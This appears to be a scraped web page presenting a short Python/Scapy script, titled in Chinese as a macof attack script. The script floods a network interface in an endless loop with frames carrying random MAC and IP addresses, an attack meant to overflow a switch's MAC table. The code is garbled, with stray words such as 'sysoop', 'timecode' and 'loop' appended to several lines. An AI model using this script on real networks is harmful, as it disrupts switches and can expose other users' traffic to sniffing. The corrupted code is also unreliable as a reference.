macof python攻擊腳本

#!/usr/bin/pythonpython

import sysoop

from scapy.all import *spa

import timecode

 

iface="eth0"class

if len(sys.argv)>=2:import

    iface=sys.argv[1]im

while(1):loop

    packet= Ether(src=RandMAC("*:*:*:*:*:*"),while

                  dst=RandMAC("*:*:*:*:*:*")) / \co

    IP(src=RandIP("*.*.*.*"),

    dst=RandIP("*.*.*.*")) / \

    ICMP()

    time.sleep(0.5)

    sendp(packet,iface=iface,loop=0)

相關文章
相關標籤/搜索